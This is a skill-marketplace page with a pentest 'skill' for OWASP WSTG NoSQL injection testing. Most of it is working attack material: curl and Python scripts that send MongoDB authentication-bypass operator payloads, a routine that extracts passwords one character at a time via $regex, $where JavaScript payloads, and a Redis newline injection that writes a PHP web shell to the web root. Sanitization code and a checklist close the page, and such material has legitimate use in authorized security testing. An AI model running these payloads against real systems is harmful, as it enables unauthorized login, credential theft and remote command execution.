Menu
Por padrão, está selecionado o prompt que primeiro revisa a origem. Você pode mudar para um comando direto ou baixar uma cópia local.
Leia o SKILL.md e os arquivos complementares exibidos pelo SkillsMP antes de decidir se vai instalar.
Instalar com Codex ou Claude Copie este prompt, cole no Codex, Claude ou outro assistente e deixe que ele revise a página da skill e instale para você.
Um comando direto ignora o prompt de revisão. Verifique a origem antes de executá-lo.
npx skills add https://github.com/CyberStrikeus/CyberStrike --skill wstg-inpv-05-6O comando permanece em uma só linha. Role horizontalmente para revisá-lo antes de copiar.
Prefere uma cópia local? Baixe os arquivos disponíveis atualmente no SkillsMP.
macOS post-exploitation for credential harvesting, DTrace monitoring, TCC bypass, and stealth operations via native tools
Windows userland post-exploitation for credential harvesting, monitoring, AMSI/ETW bypass, and stealth operations
Kubernetes post-exploitation for container escape, secret extraction, RBAC abuse, and cluster persistence
Baseado na classificação ocupacional SOC
Exibindo SKILL.md
| name | wstg-inpv-05.6 |
| description | Testing for NoSQL Injection |
| category | input-validation |
| owasp_id | WSTG-INPV-05.6 |
| version | 1.0.0 |
| author | cyberstrike-official |
| tags | ["injection","input-validation","xss","sqli","wstg","inpv"] |
| tech_stack | [] |
| cwe_ids | [] |
| chains_with | [] |
| prerequisites | [] |
| severity_boost | {} |
WSTG-INPV-05.6
Testing for NoSQL Injection
NoSQL injection targets NoSQL databases (MongoDB, CouchDB, Redis, etc.) where traditional SQL injection techniques don't apply. These databases use different query languages and data structures, but are still vulnerable to injection attacks through JSON payloads, JavaScript execution, and operator manipulation.
#!/bin/bash
TARGET="https://target.com/api/login"
echo "[*] Testing for NoSQL injection..."
# MongoDB operator injection
curl -s -X POST "$TARGET" \
-H "Content-Type: application/json" \
-d '{"username":{"$ne":""},"password":{"$ne":""}}'
# Array injection
curl -s -X POST "$TARGET" \
-H "Content-Type: application/json" \
-d '{"username":"admin","password":{"$gt":""}}'
# Regex injection
curl -s -X POST "$TARGET" \
-H "Content-Type: application/json" \
-d '{"username":{"$regex":"^admin"},"password":{"$ne":""}}'
# URL parameter injection
curl -s "$TARGET?username[\$ne]=&password[\$ne]="
#!/usr/bin/env python3
"""
NoSQL Injection Vulnerability Tester
Supports MongoDB, CouchDB, and general NoSQL patterns
"""
import requests
import json
import re
class NoSQLInjectionTester:
def __init__(self, url):
self.url = url
self.findings = []
self.session = requests.Session()
# MongoDB operator payloads
MONGODB_PAYLOADS = {
'auth_bypass': [
{"username": {"$ne": ""}, "password": {"$ne": ""}},
{"username": {"$gt": ""}, "password": {"$gt": ""}},
{"username": "admin", "password": {"$ne": ""}},
{"username": {"$regex": ".*"}, "password": {"$regex": ".*"}},
{"username": {"$in": ["admin", "administrator"]}, "password": {"$ne": ""}},
],
'data_extraction': [
{"$where": "this.username == 'admin'"},
{"$where": "function(){return true}"},
{"username": {"$regex": "^a"}},
{"username": {"$regex": "^admin"}},
],
'operator_injection': [
{"$or": [{"username": "admin"}, {"username": "user"}]},
{"$and": [{"username": {"$ne": ""}}, {"password": {"$ne": ""}}]},
],
}
# JavaScript injection payloads
JS_PAYLOADS = [
"'; return true; var x='",
"'; return this.password; var x='",
"1'; return true; '",
"1 || 1==1",
"this.password.match(/.*/)//",
]
def test_mongodb_auth_bypass(self):
"""Test MongoDB authentication bypass"""
print("\n[*] Testing MongoDB authentication bypass...")
for payload in self.MONGODB_PAYLOADS['auth_bypass']:
try:
response = self.session.post(
self.url,
json=payload,
headers={'Content-Type': 'application/json'}
)
# Check for successful bypass indicators
if response.status_code == 200:
try:
resp_json = response.json()
if 'token' in resp_json or 'session' in resp_json or 'success' in resp_json:
print(f"[VULN] Auth bypass possible!")
print(f" Payload: {json.dumps(payload)}")
self.findings.append({
'type': 'MongoDB Auth Bypass',
'payload': payload,
'severity': 'Critical'
})
return True
except:
if len(response.text) > 100:
print(f"[WARN] Potential auth bypass")
print(f" Payload: {json.dumps(payload)}")
except Exception as e:
pass
return False
def test_url_parameter_injection(self):
"""Test NoSQL injection via URL parameters"""
print("\n[*] Testing URL parameter injection...")
payloads = [
"username[$ne]=&password[$ne]=",
"username[$gt]=&password[$gt]=",
"username[$regex]=.*&password[$regex]=.*",
"username=admin&password[$ne]=",
]
base_url = self.url.split('?')[0]
for payload in payloads:
try:
response = self.session.get(f"{base_url}?{payload}")
if response.status_code == 200 and len(response.text) > 50:
print(f"[WARN] Potential injection via URL params")
print(f" Payload: {payload}")
self.findings.append({
'type': 'URL Parameter NoSQL Injection',
'payload': payload,
'severity': 'High'
})
except Exception as e:
pass
def test_javascript_injection(self):
"""Test JavaScript injection ($where, mapReduce)"""
print("\n[*] Testing JavaScript injection...")
for js_payload in self.JS_PAYLOADS:
# Test in $where clause
payload = {"$where": js_payload}
try:
response = self.session.post(
self.url,
json=payload,
headers={'Content-Type': 'application/json'}
)
# Check for execution indicators
if response.status_code == 200:
print(f"[INFO] JS payload accepted: {js_payload[:40]}")
# Check for errors that confirm MongoDB
if 'SyntaxError' in response.text or 'ReferenceError' in response.text:
print(f"[INFO] MongoDB JavaScript error detected")
except Exception as e:
pass
def test_regex_extraction(self):
"""Test data extraction via regex injection"""
print("\n[*] Testing regex-based data extraction...")
# Character-by-character extraction
charset = 'abcdefghijklmnopqrstuvwxyz0123456789'
extracted = ""
for i in range(20): # Extract up to 20 characters
found = False
for char in charset:
payload = {
"username": "admin",
"password": {"$regex": f"^{extracted}{char}"}
}
try:
response = self.session.post(
self.url,
json=payload,
headers={'Content-Type': 'application/json'}
)
# If response indicates success
if response.status_code == 200 and ('token' in response.text.lower() or
'success' in response.text.lower()):
extracted += char
found = True
print(f" Extracted: {extracted}")
break
except Exception as e:
pass
if not found:
break
if extracted:
print(f"[VULN] Regex extraction successful: {extracted}")
self.findings.append({
'type': 'NoSQL Regex Data Extraction',
'extracted': extracted,
'severity': 'Critical'
})
def test_array_injection(self):
"""Test array/object injection"""
print("\n[*] Testing array/object injection...")
payloads = [
{"username": ["admin", "user"], "password": {"$ne": ""}},
{"username": {"$in": ["admin"]}, "password": "test"},
{"username": "admin", "password": ["", {"$ne": ""}]},
]
for payload in payloads:
try:
response = self.session.post(
self.url,
json=payload,
headers={'Content-Type': 'application/json'}
)
if response.status_code == 200:
print(f"[INFO] Array injection accepted")
except Exception as e:
pass
def generate_report(self):
"""Generate findings report"""
print("\n" + "="*60)
print("NOSQL INJECTION REPORT")
print("="*60)
if not self.findings:
print("\nNo NoSQL injection vulnerabilities confirmed.")
else:
for f in self.findings:
print(f"\n[{f['severity']}] {f['type']}")
if 'payload' in f:
print(f" Payload: {json.dumps(f['payload'])[:70]}")
if 'extracted' in f:
print(f" Extracted: {f['extracted']}")
def run_tests(self):
"""Run all NoSQL injection tests"""
self.test_mongodb_auth_bypass()
self.test_url_parameter_injection()
self.test_javascript_injection()
self.test_array_injection()
# self.test_regex_extraction() # Uncomment for active extraction
self.generate_report()
# Usage
tester = NoSQLInjectionTester("https://target.com/api/login")
tester.run_tests()
// MongoDB Payloads
// Authentication Bypass
{"username": {"$ne": null}, "password": {"$ne": null}}
{"username": {"$gt": ""}, "password": {"$gt": ""}}
{"username": {"$regex": "admin"}, "password": {"$ne": ""}}
// $where JavaScript Injection
{"$where": "1 == 1"}
{"$where": "function() { return true; }"}
{"$where": "this.password.length > 0"}
// $regex Data Extraction
{"username": "admin", "password": {"$regex": "^a"}}
{"username": "admin", "password": {"$regex": "^ab"}}
// Continue character by character
// Operator Injection
{"username": "admin", "password": {"$type": 2}} // Type 2 = string
{"username": {"$exists": true}, "password": {"$exists": true}}
# CouchDB Payloads
# URL-based injection
GET /db/_find?selector={"username":"admin","password":{"$regex":".*"}}
# Mango query injection
{"selector": {"username": "admin", "password": {"$gt": ""}}}
# Redis Command Injection
# If user input is concatenated into Redis commands
# EVAL command injection
EVAL "return redis.call('keys','*')" 0
# Newline injection
SET user "test\r\nCONFIG SET dir /var/www/html\r\nCONFIG SET dbfilename shell.php\r\nSET payload '<?php system($_GET[cmd]); ?>'\r\nSAVE"
| Tool | Purpose |
|---|---|
| NoSQLMap | Automated NoSQL injection |
| Burp Suite | Manual testing |
| mongosh | MongoDB client |
| redis-cli | Redis client |
// Node.js/MongoDB - Input validation
const mongoose = require("mongoose")
// Sanitize input - remove $ operators
function sanitize(obj) {
if (typeof obj === "object") {
for (let key in obj) {
if (key.startsWith("$")) {
delete obj[key]
} else {
sanitize(obj[key])
}
}
}
return obj
}
// Use parameterized queries
async function findUser(username, password) {
// Type checking
if (typeof username !== "string" || typeof password !== "string") {
throw new Error("Invalid input types")
}
return await User.findOne({
username: username,
password: hashPassword(password),
})
}
// mongo-sanitize library
const sanitize = require("mongo-sanitize")
const cleanInput = sanitize(userInput)
# Python/PyMongo
from bson import ObjectId
import re
def sanitize_input(data):
"""Remove MongoDB operators from input"""
if isinstance(data, dict):
return {k: sanitize_input(v) for k, v in data.items()
if not k.startswith('$')}
elif isinstance(data, list):
return [sanitize_input(item) for item in data]
return data
| Finding | CVSS | Severity |
|---|---|---|
| NoSQL auth bypass | 9.8 | Critical |
| JavaScript injection ($where) | 9.1 | Critical |
| Regex data extraction | 7.5 | High |
| Operator injection | 7.5 | High |
| CWE ID | Title |
|---|---|
| CWE-943 | Improper Neutralization of Special Elements in Data Query Logic |
[ ] MongoDB operator injection tested
[ ] URL parameter injection tested
[ ] JavaScript injection tested
[ ] Array/object injection tested
[ ] Regex extraction tested
[ ] Authentication bypass tested
[ ] Findings documented